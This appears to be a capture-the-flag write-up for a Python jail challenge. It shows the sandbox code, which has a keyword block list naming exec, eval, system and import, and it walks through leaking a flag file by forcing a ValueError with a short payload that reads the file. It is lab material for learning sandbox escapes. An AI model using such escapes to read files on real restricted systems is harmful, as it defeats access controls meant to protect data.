

Noname

So...

```
import string

MAX = 30

def chall():

    import sys

    code = input('>>> ')

    assert len(code) <= MAX

    if any(i in code for i in ["import", "exec", "eval", "system"]) \

        or any(i in '_\"[{}]' for i in code) \

        or any(i not in string.printable for i in code):

        sys.exit()

    sys.stdout = "sys.stdout"

    del sys

    exec(code)

chall()
```

Things I understood from the code

1. The maximum length of input can be 30
2. There is no way to do unicode bypass because of `string.printable`
3. And that Mouad want's to make my life harder.

Also,

The main thing about this challenge was the print functionality is being deleted, so there is no way to print something.

So, I went on the web again and to my surprise I found out some ctf challenges where they have something similar, but not same.

Also on the <https://shirajuki.js.org/blog/pyjail-cheatsheet> the pyjail cheatsheet I saw something related to Exceptions and I tried it.

My initial command was

```
raise Exception(2+1)
2
```

from this I realized that I could use Exceptions to do something that I want to do, also commands like `globals()`, `locals()` were working but I couldn't leverage from the information I got from there.

I tried opening files using this command

```
raise Exception(open('file').read())
```

But this is 36 characters which will give me an assertion error.

So, I thought instead of raising an Exception why don't I just make the program raise an Exception.

As, we have an `exec(chall)` line in the program, from what I understood it means that my input will run as a piece of code when it goes through.

so, what I did was tried to raise different kinds of error but I managed to open a file with `ValueError`

The command I used was

```
int(open('flag').read())
```

and the output was as follows

```
python3 chall1.py
>>> int(open('flag').read())
Traceback (most recent call last):
```

```
File "/root/level3/chall1.py", line 17, in <module>
    chall()
File "/root/level3/chall1.py", line 15, in chall
    exec(code)
File "<string>", line 1, in <module>
ValueError: invalid literal for int() with base 10: 'new\n\n'
Exception ignored in: 'sys.stdout'
AttributeError: 'str' object has no attribute 'flush'
```

The value `new\n\n` was the content of the file so, I do have an RCE but still pretty dissapointed that I couldn't run a shell.

But again it is what it is.